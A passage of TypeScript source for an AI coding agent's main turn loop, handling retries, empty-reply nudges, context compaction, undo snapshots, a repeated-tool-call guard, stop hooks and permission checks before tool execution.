AbortSignal,\n opts?: { persistAs?: string },\n ): AsyncGenerator<StreamEvent> {\n this.syncSystemMessage();\n // Snapshot the repo state once per turn; attachTurnContext adds it to the\n // outgoing request without touching the persisted history. Git failures\n // degrade to no context (getGitSummaryCached returns null).\n const git = getGitSummaryCached(this.opts.cwd);\n this.turnGitContext = git ? formatGitSummary(git) : null;\n // New turn: drop the previous turn's request view (the key check in\n // buildRequestMessages would catch every append/rewrite anyway, but a\n // turn boundary is the cheap place to be explicit).\n this.requestMessagesCache = null;\n this.resolveAuxModel();\n if (this.auxModelError) {\n yield { type: \"notice\", message: this.auxModelError };\n this.auxModelError = null;\n }\n\n const inputText = typeof input === \"string\" ? input : input.text;\n const images = typeof input === \"string\" ? [] : input.images;\n if (this.titleInput === undefined && inputText.trim().length > 0) {\n this.titleInput = inputText;\n }\n const userMessage: CoreMessage =\n images.length > 0\n ? {\n role: \"user\",\n content: [\n ...images.map((img) => ({\n type: \"image\" as const,\n image: img.data,\n mimeType: img.mimeType,\n })),\n { type: \"text\" as const, text: inputText },\n ],\n }\n : { role: \"user\", content: inputText };\n // Root loop only: capture the whole working tree before the turn can\n // change anything (a subagent shares the parent's cwd, and the parent's\n // turn-start tree already covers its changes). Kicked off WITHOUT\n // awaiting so a slow repo (trackTree can burn its 10s timeout) no longer\n // delays the first model request; the capture is awaited before the\n // turn's first tool execution — the first action that can change files —\n // and patched into this turn's marker as soon as it settles. A failure\n // resolves null (silent per-file snapshot fallback) exactly like the old\n // serial call.\n const isRoot = (this.opts.subagentDepth ?? 0) === 0;\n const trackTreePromise =\n isRoot && this.opts.config.gitSnapshots ? trackTree(this.opts.cwd) : null;\n this.messages.push({ message: userMessage });\n // Only the root loop opens a new snapshot turn: a subagent runs inside the\n // parent's turn, and its file changes must keep the parent's turn seq and\n // message index so /undo and /rewind attribute them correctly.\n const seq = isRoot ? beginTurn(this.messages.length - 1) : currentTurnSeq();\n const turnMarker: { seq: number; userIndex: number; tree?: string } = {\n seq,\n userIndex: this.messages.length - 1,\n };\n this.turnMarkers.push(turnMarker);\n this.activeTurnSeq = seq;\n this.activeTurnUserIndex = this.messages.length - 1;\n // Settles the turn-start tree capture: patches this turn's marker, but\n // only while that exact marker is still registered — compaction clears\n // the markers and retraction pops them, and a stale tree must never land\n // on another turn's entry. Awaited before the first tool execution below.\n let turnTreeReady: Promise<void> | null = null;\n if (trackTreePromise !== null) {\n turnTreeReady = trackTreePromise\n .catch(() => null)\n .then((tree) => {\n if (tree !== null && this.turnMarkers.includes(turnMarker)) {\n turnMarker.tree = tree;\n }\n });\n }\n await this.persist(\n opts?.persistAs !== undefined ? { role: \"user\", content: opts.persistAs } : userMessage,\n );\n this.maybeScheduleTitle();\n\n const { config, registry, cwd } = this.opts;\n const { tools: aiTools, schemaTokens: toolSchemaTokens } = this.buildAiTools();\n // A new user turn restarts the doom-loop streak: the counter spans the\n // steps of one turn only, so a legitimate repeat of a call that ended\n // the previous turn isn't refused on sight.\n this.lastToolSignature = null;\n this.repeatedToolCalls = 0;\n let autoContinues = 0;\n let lastWasNudge = false;\n let usedToolsThisTurn = false;\n // Continuations after a watchdog-truncated reply — a separate budget from\n // autoContinues, since each cut is transport trouble (a stalling relay),\n // not an unproductive reply.\n let streamCutContinues = 0;\n // Open items from the latest todo_write this turn — a deterministic\n // \"work still pending\" signal that needs no text interpretation.\n let openTodos: string[] = [];\n\n // One step = one model round-trip: the streamed reply plus every tool\n // call it asked for. Stream retries have their own budget\n // (streamMaxRetries) and auto-continue nudges theirs (maxAutoContinues),\n // so neither consumes steps. maxSteps is a progress checkpoint rather\n // than a hard kill: reaching it while tools still execute resets the\n // budget with a notice, and the turn stops only when no tool ran since\n // the last checkpoint — the doom-loop signature. 0 disables the cap.\n const maxSteps = config.maxSteps;\n let step = 0;\n let toolExecutedSinceCheckpoint = false;\n for (;;) {\n if (maxSteps > 0 && step >= maxSteps) {\n if (!toolExecutedSinceCheckpoint) {\n yield {\n type: \"error\",\n error: {\n name: \"Error\",\n message: `Max steps (${maxSteps}) reached with no tool execution since the last checkpoint, stopping.`,\n },\n };\n await this.runStopHooks(\"max-steps\");\n return;\n }\n toolExecutedSinceCheckpoint = false;\n step = 0;\n yield {\n type: \"notice\",\n message: `maxSteps (${maxSteps}) reached and the turn is still making progress; continuing. Press Esc to interrupt.`,\n };\n }\n // Deliver finished background subagent reports at step boundaries so\n // the parent monitors its children without polling. Only the root\n // loop drains — children cannot spawn subagents.\n if ((this.opts.subagentDepth ?? 0) === 0) {\n for (const finished of defaultAgentTasks.drainNotifications()) {\n const label = finished.description ? ` \"${finished.description}\"` : \"\";\n const note: CoreMessage = {\n role: \"user\",\n content: `[background subagent ${finished.id}${label} ${finished.status}]\\n${finished.result}`,\n };\n // Synthetic: the report lands mid-turn but belongs to the turn in\n // progress — it must not become a turn boundary for /undo.\n const meta: MessageMeta = { synthetic: \"bg-report\" };\n this.messages.push({ message: note, meta });\n await this.persist(note, meta);\n }\n }\n const maxTokens = this.opts.contextMaxTokens ?? config.contextMaxTokens;\n const threshold = resolveCompactThreshold(config, maxTokens);\n // Stale-content elision runs before whole-turn compaction: old bulk\n // (stale tool outputs, old attached images) loses its value long\n // before the conversation around it does, and replacing it in place\n // leaves message indices — and therefore /undo turn markers — intact.\n // It often shrinks the history enough that compaction never fires.\n const elided = elideStaleContent(this.messages, threshold, toolSchemaTokens);\n if (elided) {\n this.messages = elided.messages;\n // Persist the rewrite like compaction does (memory and disk must\n // not diverge) and drop volatile tool state: the read_file dedup\n // cache must not claim elided content is still in context.\n await this.opts.sessionStore?.replaceMessages([...this.messages]);\n this.opts.registry?.resetVolatileState();\n }\n // Auto-compaction fires at compactThresholdTokens when configured\n // (clamped to the window), otherwise only once the window is full. The\n // tool map's JSON schemas ride every request too, so their estimated\n // tokens count against the threshold — otherwise a 15+ tool setup\n // under-reads the real window usage by several thousand tokens.\n // this.messages is passed directly: compactMessages never mutates it.\n const compacted = compactMessages(this.messages, threshold, {\n overheadTokens: toolSchemaTokens,\n });\n if (compacted.compacted) {\n this.messages = await this.applyCompactionSummary(compacted, signal);\n // Persist the rewritten history like manual /compact does. Memory\n // and disk must never diverge here: a later retractLastTurn /\n // retractFromIndex replaceMessages would otherwise silently swap\n // the full on-disk transcript for the compacted one as a side\n // effect of what the user confirmed as a plain retraction.\n await this.opts.sessionStore?.replaceMessages([...this.messages]);\n // Compaction rewrote the history wholesale, so recorded turn indices\n // no longer line up — drop the markers like loadMessages() does.\n // /undo then only retracts messages until new turns accumulate,\n // instead of reverting files against a stale snapshot turn.\n this.turnMarkers = [];\n this.opts.registry?.resetVolatileState();\n }\n\n // One model step, with retries: a transient stream failure (network\n // error, 429/5xx, idle watchdog cutoff) or an empty response must not\n // silently end a half-finished turn. Partial output from a failed\n // attempt is discarded — only a clean attempt is persisted. The wait\n // between attempts honors the server's Retry-After hint and otherwise\n // backs off exponentially with jitter (see llm/retry.ts).\n const maxRetries = Math.max(0, config.streamMaxRetries);\n const baseDelay = this.opts.retryDelayMs ?? STREAM_RETRY_BASE_DELAY_MS;\n let text = \"\";\n const toolCalls: PendingToolCall[] = [];\n let failure: StreamErrorInfo | null = null;\n // Finish reason of the latest attempt: distinguishes a model that\n // actively returned nothing (stop/content-filter — the same request\n // tends to fail again) from a stream that died empty (idle-timeout,\n // network — worth resending as-is).\n let lastFinishReason: string | undefined;\n // Token usage of the latest attempt, and whether it streamed any\n // reasoning: both mark an empty reply as *deliberate* generation\n // rather than a relay hiccup. Reasoning-model relays that hide\n // reasoning content return turns where the model thought but produced\n // no visible output as an empty stop that still bills completion\n // tokens — resending the identical request reproduces them, so they\n // are steered early instead of spending the full retry budget.\n let lastUsage: { completionTokens: number } | undefined;\n let sawReasoning = false;\n // The latest attempt's stream was cut by the idle watchdog after real\n // content arrived — the reply is partial and worth resuming rather than\n // accepting as complete.\n let wasTruncated = false;\n // One free retry per step, outside the transient-retry budget: when the\n // provider rejects the request for an oversized image (a 4xx), the\n // offending images are stripped from the history and the request resent.\n let oversizedImagesStripped = false;\n // Same one-shot escape for text-only endpoints that reject ANY image\n // (\"no vision encoder\"): every image part is stripped, which also heals\n // a session already poisoned by an attached image.\n let visionUnsupportedStripped = false;\n\n // Whitespace-only text counts as NO output: buffering relays often\n // stream one leading space delta the moment the request lands, then go\n // silent until the whole response is ready. If the idle watchdog cuts\n // such a stream, treating the space as content would skip the entire\n // retry budget and persist a junk \" \" reply (which then lures the\n // auto-continue nudges). Classifying it as empty routes it into the\n // retry path with its growing timeout windows instead.\n const hasOutput = () => text.trim().length > 0 || toolCalls.length > 0;\n\n for (let attempt = 0; ; attempt++) {\n text = \"\";\n toolCalls.length = 0;\n failure = null;\n lastFinishReason = undefined;\n lastUsage = undefined;\n sawReasoning = false;\n wasTruncated = false;\n // Retried attempts get more patient stream timeouts (1x, 2x, 3x): a\n // relay that just timed out is overloaded, so re-asking with the same\n // deadline would hit the same wall.\n const timeoutScale = Math.min(attempt + 1, 3);\n\n try {\n for await (const event of this.streamOnce(aiTools, signal, timeoutScale)) {\n if (event.type === \"text-delta\") {\n text += event.text;\n yield event;\n } else if (event.type === \"reasoning\") {\n sawReasoning = true;\n yield event;\n } else if (event.type === \"tool-call\") {\n toolCalls.push({ id: event.id, name: event.name, args: event.args });\n yield event;\n } else if (event.type === \"finish\") {\n lastFinishReason = event.finishReason;\n if (event.truncated) wasTruncated = true;\n // The raw usage drives the empty-reply heuristic; the folded\n // copy (own + settled subagent usage) is what consumers meter.\n lastUsage = event.usage;\n yield this.foldSubagentUsage(event);\n } else if (event.type === \"error\") {\n // Held back until retries are exhausted, so the UI shows retry\n // notices instead of an error for a turn that then recovers.\n failure = event.error;\n } else {\n yield event;\n }\n }\n } catch (error) {\n // A user-initiated abort is a normal end of the turn, not an error.\n if (!signal.aborted) {\n failure = toStreamErrorInfo(error);\n }\n }\n\n if (signal.aborted) {\n yield* this.persistInterrupted(text, toolCalls);\n await this.runStopHooks(\"aborted\");\n return;\n }\n if (!failure && hasOutput()) break;\n if (failure && !oversizedImagesStripped && isOversizedImageError(failure)) {\n oversizedImagesStripped = true;\n const removed = await this.stripOversizedImages();\n if (removed > 0) {\n yield {\n type: \"notice\",\n message: `Removed ${removed} oversized image(s) the model rejected; retrying the request.`,\n };\n continue;\n }\n }\n if (failure && !visionUnsupportedStripped && isVisionUnsupportedError(failure)) {\n visionUnsupportedStripped = true;\n const removed = await this.stripAllImages();\n if (removed > 0) {\n yield {\n type: \"notice\",\n message: `Removed ${removed} image(s) the model cannot read; retrying the request.`,\n };\n continue;\n }\n }\n if (failure && !isRetryableStreamError(failure)) break;\n if (attempt >= maxRetries) break;\n // Deterministic-empty replies reproduce on identical resends, so\n // after one confirmation resend break out and let the steering logic\n // below change the model's input: a content filter judged the\n // request itself; reasoning arrived but no visible output; or the\n // finish billed completion tokens while nothing was delivered (the\n // signature of a reasoning-only turn on a relay that hides\n // reasoning). Any other empty reply — stop with no content and no\n // tokens — is indistinguishable from a relay hiccup (an overloaded\n // relay answers with an empty stub) and gets the full retry budget:\n // a resend bills the same prompt a nudge would, without polluting\n // the history.\n if (\n !failure &&\n !hasOutput() &&\n attempt >= 1 &&\n (isFilteredEmptyFinish(lastFinishReason) ||\n sawReasoning ||\n (lastUsage !== undefined && lastUsage.completionTokens > 0))\n )\n break;\n\n // An empty reply is the signature of an overloaded relay answering\n // with an empty stub, so resend more patiently than after a hard\n // error (doubled base delay) to give the relay time to recover.\n const delayMs = computeRetryDelayMs(attempt, failure ? baseDelay : baseDelay * 2, failure);\n yield {\n type: \"retry\",\n attempt: attempt + 2,\n maxAttempts: maxRetries + 1,\n delayMs,\n reason: failure\n ? summarizeStreamError(failure)\n : `empty response (finish: ${lastFinishReason ?? \"none\"})`,\n };\n if (!(await sleep(delayMs, signal))) {\n // An abort that lands during the retry wait is the same user\n // interrupt as Esc mid-stream: keep whatever this attempt already\n // produced instead of dropping it silently.\n yield* this.persistInterrupted(text, toolCalls);\n await this.runStopHooks(\"aborted\");\n return;\n }\n }\n\n if (failure) {\n yield { type: \"error\", error: failure };\n await this.runStopHooks(\"error\");\n return;\n }\n if (!hasOutput()) {\n // Steering beats repeating: a nudge changes the model's input, which\n // breaks a deterministic empty reply where an identical resend would\n // not. Shares the auto-continue budget, so a model that keeps\n // answering with nothing still stops.\n if (\n isSteerableEmptyFinish(lastFinishReason) &&\n config.permissionMode !== \"plan\" &&\n autoContinues < config.maxAutoContinues\n ) {\n autoContinues++;\n lastWasNudge = true;\n yield {\n type: \"notice\",\n message: `the model returned an empty reply; asking the model to continue (${autoContinues}/${config.maxAutoContinues}).`,\n };\n const nudge: CoreMessage = {\n role: \"user\",\n content: EMPTY_REPLY_NUDGE + finalNudgeWarning(autoContinues, config.maxAutoContinues),\n };\n const meta: MessageMeta = { synthetic: \"nudge\" };\n this.messages.push({ message: nudge, meta });\n await this.persist(nudge, meta);\n continue;\n }\n yield {\n type: \"error\",\n error: {\n name: \"Error\",\n message: \"The model returned an empty response after retries; ending the turn.\",\n },\n };\n await this.runStopHooks(\"empty\");\n return;\n }\n\n const assistantMessage: CoreMessage = {\n role: \"assistant\",\n content: [\n ...(text ? [{ type: \"text\" as const, text }] : []),\n ...toolCalls.map((call) => ({\n type: \"tool-call\" as const,\n toolCallId: call.id,\n toolName: call.name,\n args: call.args,\n })),\n ],\n };\n this.messages.push({ message: assistantMessage });\n await this.persist(assistantMessage);\n\n if (toolCalls.length === 0) {\n // A watchdog cut mid-generation is a stream failure, not a model\n // choice: resume where the reply stopped rather than judging the\n // partial text with the unproductivity signals below (which would\n // either accept a half answer or spend the auto-continue budget on\n // what is really transport trouble). Budgeted separately by\n // streamMaxRetries; plan mode is excluded like all nudges.\n if (wasTruncated) {\n if (config.permissionMode !== \"plan\" && streamCutContinues < config.streamMaxRetries) {\n streamCutContinues++;\n yield {\n type: \"notice\",\n message: `reply cut short by a stream timeout; asking the model to resume where it stopped (${streamCutContinues}/${config.streamMaxRetries}).`,\n };\n const nudge: CoreMessage = { role: \"user\", content: TRUNCATED_CONTINUE_NUDGE };\n const meta: MessageMeta = { synthetic: \"nudge\" };\n this.messages.push({ message: nudge, meta });\n await this.persist(nudge, meta);\n continue;\n }\n if (config.permissionMode !== \"plan\") {\n yield {\n type: \"notice\",\n message:\n 'reply was cut short by a stream timeout and resume attempts are exhausted, handing the turn back — reply \"continue\" to keep going.',\n };\n }\n await this.runStopHooks(\"completed\");\n return;\n }\n // A turn that ends in text only is suspect: weaker models announce\n // work (\"我会…\") instead of calling tools. Signals decide whether to\n // nudge the model onward (bounded by maxAutoContinues, never in plan\n // mode, where a text-only plan is the intended end): open todo items\n // written this turn (deterministic), then — for turns that used\n // tools — a semantic completion check by the model itself, whose\n // DONE verdict also vetoes the weaker signals below (a closer like\n // \"let me know if…\" must not re-trigger a nudge). Only when that\n // check can't answer, or no tool ran so there is nothing to verify,\n // do the heuristics decide: an ignored previous nudge (behavioral),\n // then announcement keywords (heuristic).\n let reason: string | null = null;\n let nudgeText = AUTO_CONTINUE_NUDGE;\n if (openTodos.length > 0) {\n reason = `${openTodos.length} todo item(s) still open`;\n nudgeText = `[auto-continue] You ended your turn with unfinished todo item(s): ${openTodos\n .map((t) => `\"${t}\"`)\n .join(\n \", \",\n )}. Complete them now with tool calls, or update the list with todo_write if they are no longer needed.`;\n } else if (usedToolsThisTurn && !signal.aborted) {\n const complete = await checkTaskComplete(\n this.getAuxModel(),\n inputText,\n text,\n signal,\n this.getAuxTemperature(),\n );\n if (complete === false) {\n reason = \"completion check reports the task unfinished\";\n } else if (complete === null) {\n // The check is unverifiable (network, timeout, unparseable):\n // fall back to the heuristic signals.\n if (lastWasNudge) {\n reason = \"reply still had no tool calls\";\n } else if (PENDING_WORK_PATTERN.test(text)) {\n reason = \"reply announced unfinished work\";\n }\n }\n } else if (lastWasNudge) {\n reason = \"reply still had no tool calls\";\n } else if (PENDING_WORK_PATTERN.test(text)) {\n reason = \"reply announced unfinished work\";\n }\n if (\n reason !== null &&\n config.permissionMode !== \"plan\" &&\n autoContinues < config.maxAutoContinues\n ) {\n autoContinues++;\n lastWasNudge = true;\n yield {\n type: \"notice\",\n message: `${reason}; asking the model to continue (${autoContinues}/${config.maxAutoContinues}).`,\n };\n const nudge: CoreMessage = {\n role: \"user\",\n content: nudgeText + finalNudgeWarning(autoContinues, config.maxAutoContinues),\n };\n const meta: MessageMeta = { synthetic: \"nudge\" };\n this.messages.push({ message: nudge, meta });\n await this.persist(nudge, meta);\n continue;\n }\n if (reason !== null && config.permissionMode !== \"plan\") {\n // Never stop silently with work pending: say why the turn is ending\n // and how to get it going again.\n yield {\n type: \"notice\",\n message: `${reason}; auto-continue limit reached, handing the turn back — reply \"continue\" to keep going.`,\n };\n }\n await this.runStopHooks(\"completed\");\n return;\n }\n lastWasNudge = false;\n usedToolsThisTurn = true;\n // Tool calls are real progress: the budget guards against *consecutive*\n // unproductive replies, so a working turn earns its nudges back and a\n // long productive task is no longer cut off mid-way.\n autoContinues = 0;\n\n // The turn-start whole-tree capture runs concurrently with the first\n // model request; it must be settled before the turn's first tool\n // execution (the first action that can change files) so a git-path\n // /undo restores the pre-turn tree. Never rejects — a failed capture\n // resolves to the per-file snapshot fallback.\n if (turnTreeReady !== null) {\n await turnTreeReady;\n turnTreeReady = null;\n }\n\n const answered = new Set<string>();\n // Tool-attached images (read_image, screenshot) ride as follow-up user\n // messages with real image parts — tool results are text-only on every\n // protocol, and this is the same shape pasted images arrive in. They are\n // buffered here and appended only after EVERY tool message of the batch\n // (see finally): a user message interleaved between the tool results of\n // one assistant message breaks strict providers (\"an assistant message\n // with 'tool_calls' must be followed by tool messages\").\n const pendingImages: { message: CoreMessage; meta: MessageMeta }[] = [];\n try {\n for (const call of toolCalls) {\n if (signal.aborted) break;\n // Doom-loop guard: the same tool called with identical arguments\n // over and over is a model stuck retrying, so past the threshold\n // the repeat is refused without executing. The refusal is persisted\n // as the call's result like any other, keeping history replayable.\n const refusal = this.doomLoopRefusal(call);\n if (refusal !== null) {\n yield { type: \"notice\", message: refusal };\n } else {\n toolExecutedSinceCheckpoint = true;\n }\n const result =\n refusal !== null\n ? { content: refusal, isError: true }\n : await this.executeTool(call, signal);\n const toolMessage: CoreMessage = {\n role: \"tool\",\n content: [\n {\n type: \"tool-result\",\n toolCallId: call.id,\n toolName: call.name,\n result: result.content,\n },\n ],\n };\n this.messages.push({ message: toolMessage });\n await this.persist(toolMessage);\n answered.add(call.id);\n // Synthetic like the nudges: it lands mid-turn, so it must not\n // become a turn boundary for /undo.\n if (result.images && result.images.length > 0) {\n const imageMessage: CoreMessage = {\n role: \"user\",\n content: [\n ...result.images.map((img) => ({\n type: \"image\" as const,\n image: img.data,\n mimeType: img.mimeType,\n })),\n ...result.images.map((img) => ({\n type: \"text\" as const,\n text: `[image from ${call.name}: ${img.path}]`,\n })),\n ],\n };\n pendingImages.push({ message: imageMessage, meta: { synthetic: \"tool-image\" } });\n }\n if (call.name === \"todo_write\" && !result.isError) {\n openTodos = pendingTodoTitles(call.args);\n }\n yield {\n type: \"tool-result\",\n id: call.id,\n name: call.name,\n content: result.content,\n isError: result.isError,\n };\n }\n } finally {\n // The assistant message carrying these tool calls is already persisted,\n // so every call must be closed with a tool message even when execution\n // is aborted or blows up mid-batch; otherwise the stored history can\n // no longer be sent to the API.\n for (const call of toolCalls) {\n if (answered.has(call.id)) continue;\n const content = signal.aborted\n ? INTERRUPTED_TOOL_RESULT_TEXT\n : UNFINISHED_TOOL_RESULT_TEXT;\n const synthetic: CoreMessage = {\n role: \"tool\",\n content: [\n {\n type: \"tool-result\",\n toolCallId: call.id,\n toolName: call.name,\n result: content,\n },\n ],\n };\n this.messages.push({ message: synthetic });\n await this.persist(synthetic).catch(() => {});\n yield { type: \"tool-result\", id: call.id, name: call.name, content, isError: true };\n }\n // Only now — every tool message of the batch closed, including\n // synthetic ones for aborted/unfinished calls — do the buffered image\n // messages join the history, so they never split a tool-result block.\n for (const { message, meta } of pendingImages) {\n this.messages.push({ message, meta });\n await this.persist(message, meta).catch(() => {});\n }\n }\n\n if (signal.aborted) {\n await this.runStopHooks(\"aborted\");\n return;\n }\n step++;\n }\n }\n\n // The permission mode can change at runtime, so the system message is\n // recomputed at the start of every turn instead of being frozen by the\n // constructor. Also restores a system message after loadMessages() (resume,\n // /model switch) replaced the history with one that has none. Everything in\n // here is stable across turns (base prompt, plan-mode flag, memories, skills\n // — the latter two cached by mtime), which keeps the prompt-cache prefix\n // intact; volatile git state rides per-turn on the latest user message\n // instead (attachTurnContext).\n private syncSystemMessage(): void {\n const base = this.opts.system;\n const plan = this.opts.config.permissionMode === \"plan\";\n const parts: string[] = [];\n if (base) parts.push(base);\n if (plan) parts.push(PLAN_MODE_PROMPT.trim());\n const memory = readProjectMemory(this.opts.cwd);\n if (memory) parts.push(memory);\n const userMemory = readUserMemory();\n if (userMemory) parts.push(userMemory);\n const skills = discoverSkills(this.opts.cwd);\n if (skills.length > 0) parts.push(formatSkillsBlock(skills));\n if (parts.length === 0) return;\n const content = parts.join(\"\\n\\n\");\n const head = this.messages[0];\n if (head?.message.role === \"system\" && typeof head.message.content === \"string\") {\n // Replace rather than mutate in place: history messages are treated\n // as immutable so the token estimator's per-object cache\n // (context/tokens.ts) never serves a stale count for an edited one.\n if (head.message.content !== content) {\n this.messages[0] = { message: { role: \"system\", content } };\n }\n } else if (head?.message.role !== \"system\") {\n this.messages.unshift({ message: { role: \"system\", content } });\n }\n }\n\n private async applyCompactionSummary(\n compacted: CompactionResult,\n signal?: AbortSignal,\n ): Promise<StarMessage[]> {\n const { config } = this.opts;\n if (config.contextCompaction !== \"summary\") {\n return compacted.messages;\n }\n const headCount = compacted.messages[0]?.message.role === \"system\" ? 1 : 0;\n const dropped = toCoreMessages(\n this.messages.slice(headCount, headCount + compacted.droppedCount),\n );\n try {\n const summary = await summarizeMessages(\n dropped,\n this.getAuxModel(),\n signal,\n this.getAuxTemperature(),\n );\n // An empty summary must not replace real history with an empty shell:\n // fall back to the truncation placeholder like a summary failure does.\n if (summary.trim().length === 0) return compacted.messages;\n const messages = compacted.messages.slice();\n messages[headCount] = {\n message: {\n role: \"user\",\n content: `[earlier conversation summarized]\\n${summary}`,\n },\n };\n return messages;\n } catch {\n return compacted.messages;\n }\n }\n\n private async *streamOnce(\n aiTools: Record<string, unknown>,\n signal: AbortSignal,\n timeoutScale = 1,\n ): AsyncGenerator<StreamEvent> {\n for await (const event of streamChat({\n model: this.opts.model,\n messages: this.buildRequestMessages(),\n tools: aiTools,\n abortSignal: signal,\n providerMetadata: this.opts.providerMetadata,\n idleTimeoutMs:\n (this.opts.streamIdleTimeoutSec ?? this.opts.config.streamIdleTimeoutSec) *\n 1000 *\n timeoutScale,\n firstPartTimeoutMs:\n (this.opts.streamFirstChunkTimeoutSec ?? this.opts.config.streamFirstChunkTimeoutSec) *\n 1000 *\n timeoutScale,\n temperature: this.opts.temperature,\n })) {\n // The idle watchdog can end a stream gracefully after content already\n // arrived; surface the cut-off instead of letting a half sentence pass\n // for a complete reply.\n if (event.type === \"finish\" && event.truncated) {\n yield {\n type: \"notice\",\n message:\n \"Response was cut short by the stream idle timeout — the reply may be incomplete.\",\n };\n }\n yield event;\n }\n }\n\n // The CoreMessage[] view sent to the model, with the turn's volatile git\n // context attached to the latest user message (request-only — the result is\n // never persisted, see attachTurnContext). Memoized within a turn: stream\n // retries and multi-step turns rebuild only when the history changed\n // (new array identity after a wholesale rewrite, or a new length after\n // appends) or the turn context changed.\n private buildRequestMessages(): CoreMessage[] {\n const cached = this.requestMessagesCache;\n if (\n cached &&\n cached.source === this.messages &&\n cached.length === this.messages.length &&\n cached.context === this.turnGitContext\n ) {\n return cached.result;\n }\n const result = attachTurnContext(toCoreMessages(this.messages), this.turnGitContext);\n this.requestMessagesCache = {\n source: this.messages,\n length: this.messages.length,\n context: this.turnGitContext,\n result,\n };\n return result;\n }\n\n private buildAiTools(): { tools: Record<string, unknown>; schemaTokens: number } {\n const plan = this.opts.config.permissionMode === \"plan\";\n const registry = this.opts.registry;\n const cached = this.aiToolsCache;\n if (cached && cached.registry === registry && cached.plan === plan) {\n return { tools: cached.tools, schemaTokens: cached.schemaTokens };\n }\n const tools: Record<string, unknown> = {};\n for (const t of registry.list()) {\n // Plan mode hides write/exec tools from the model entirely; the\n // permission gate stays as a backstop for anything still attempted.\n if (plan && t.permission !== \"read\") continue;\n tools[t.name] = aiTool({\n description: t.description,\n parameters: t.parameters as never,\n });\n }\n const schemaTokens = estimateToolSchemaTokens(tools);\n this.aiToolsCache = { registry, plan, tools, schemaTokens };\n return { tools, schemaTokens };\n }\n\n // Fires the Stop hooks for a turn's end, on every termination path (normal\n // completion, Esc abort, exhausted stream retries, terminal empty replies,\n // the maxSteps no-progress stop). The reason rides in STAR_TOOL_INPUT as\n // {\"reason\": ...}: Stop hooks ignore tool matchers and the variable was\n // never set for Stop before, so existing hooks are unaffected. An abort is\n // the user waiting at the prompt, so its hooks get a short leash instead\n // of the hooks' own (default 30s) timeouts.\n private async runStopHooks(reason: string): Promise<void> {\n await this.runEventHooks(\n \"Stop\",\n undefined,\n { reason },\n reason === \"aborted\" ? ABORT_STOP_HOOK_TIMEOUT_SEC : undefined,\n );\n }\n\n private async runEventHooks(\n event: HookEvent,\n toolName?: string,\n toolInput?: unknown,\n timeoutSec?: number,\n ): Promise<HookRunResult> {\n const empty: HookRunResult = { blocked: false, warnings: [] };\n if (this.opts.config.hooks.length === 0) return empty;\n try {\n const result = await runHooks(\n event,\n this.opts.config.hooks,\n {\n cwd: this.opts.cwd,\n sessionId: this.opts.sessionStore?.id,\n toolName,\n toolInput,\n },\n timeoutSec !== undefined ? { timeoutSec } : undefined,\n );\n for (const warning of result.warnings) this.onHookWarning?.(warning);\n return result;\n } catch {\n // Hooks are best-effort by design: a broken hook must never crash a turn.\n return empty;\n }\n }\n\n // Accumulates a settled subagent's usage. When the child provably ran on a\n // different, fully priced model, the counts are first converted into\n // this-model-priced equivalents (convertUsagePricing): session cost is\n // token totals × the active model's price, so the conversion keeps the $\n // estimate accurate where raw sums would misprice. Price lookup goes by\n // the [[models]] entry names both loops were resolved from, not model id.\n private addSubagentUsage(\n usage: TokenUsage,\n childModel: LanguageModel,\n childModelName?: string,\n ): void {\n const converted = convertUsagePricing(usage, childModel, this.opts.model, this.opts.config, {\n fromName: childModelName,\n toName: this.opts.modelName,\n });\n const pending = this.subagentUsage ?? {\n promptTokens: 0,\n completionTokens: 0,\n totalTokens: 0,\n };\n pending.promptTokens += converted.promptTokens;\n pending.completionTokens += converted.completionTokens;\n pending.totalTokens += usageTotalTokens(converted);\n if (converted.cachedPromptTokens) {\n pending.cachedPromptTokens = (pending.cachedPromptTokens ?? 0) + converted.cachedPromptTokens;\n }\n if (converted.cacheReadInputTokens) {\n pending.cacheReadInputTokens =\n (pending.cacheReadInputTokens ?? 0) + converted.cacheReadInputTokens;\n }\n this.subagentUsage = pending;\n }\n\n // Folds pending subagent usage into an outgoing finish event (and clears\n // it). A finish without usage reports nothing to consumers, so the pending\n // amount is kept for the next finish that carries usage instead. Totals\n // sum the billed classes (usageTotalTokens), not whatever extra classes a\n // provider folded into its reported totalTokens.\n private foldSubagentUsage(\n event: Extract<StreamEvent, { type: \"finish\" }>,\n ): Extract<StreamEvent, { type: \"finish\" }> {\n const pending = this.subagentUsage;\n if (!pending || !event.usage) return event;\n this.subagentUsage = null;\n const usage: TokenUsage = {\n promptTokens: event.usage.promptTokens + pending.promptTokens,\n completionTokens: event.usage.completionTokens + pending.completionTokens,\n totalTokens: usageTotalTokens(event.usage) + usageTotalTokens(pending),\n };\n const cachedPromptTokens =\n (event.usage.cachedPromptTokens ?? 0) + (pending.cachedPromptTokens ?? 0);\n const cacheReadInputTokens =\n (event.usage.cacheReadInputTokens ?? 0) + (pending.cacheReadInputTokens ?? 0);\n if (cachedPromptTokens > 0) usage.cachedPromptTokens = cachedPromptTokens;\n if (cacheReadInputTokens > 0) usage.cacheReadInputTokens = cacheReadInputTokens;\n return { ...event, usage };\n }\n\n // opencode's doom_loop guard: returns a refusal once the identical tool\n // call (name + stable-serialized args) has repeated config.doomLoopThreshold\n // times in a row; 0 disables. Any different signature resets the streak.\n // Subagents are separate loop instances, so each counts its own streak.\n private doomLoopRefusal(call: PendingToolCall): string | null {\n const threshold = this.opts.config.doomLoopThreshold;\n if (threshold <= 0) return null;\n const signature = `${call.name} ${stableStringify(call.args)}`;\n if (signature === this.lastToolSignature) {\n this.repeatedToolCalls += 1;\n } else {\n this.lastToolSignature = signature;\n this.repeatedToolCalls = 1;\n }\n if (this.repeatedToolCalls < threshold) return null;\n return `Refused: tool \"${call.name}\" was called ${this.repeatedToolCalls} times in a row with identical arguments. Stop retrying it — change your approach or report that you are blocked.`;\n }\n\n private async executeTool(call: PendingToolCall, signal: AbortSignal): Promise<ToolResult> {\n const { registry, config, cwd } = this.opts;\n const tool = registry.get(call.name);\n if (!tool) {\n return { content: `Unknown tool: ${call.name}`, isError: true };\n }\n\n const decision = checkPermission(\n config.permissionMode,\n { toolName: call.name, args: call.args, level: tool.permission },\n { cwd },\n config.permissions.allow,\n config.permissions.deny,\n config.permissions.ask,\n );\n\n if (decision === \"deny\") {\n return { content: `Permission denied for tool \"${call.name}\".`, isError: true };\n }\n if (decision === \"ask\") {\n let approved = false;\n try {\n approved = this.confirmHandler\n ? await this.confirmHandler({\n toolName: call.name,\n args: call.args,\n level: tool.permission,\n })\n : false;\n } catch {\n approved = false;\n }\n if (!approved) {\n return { content: `User rejected tool \"${call.name}\".`, isError: true };\n }\n }\n\n const parsed = 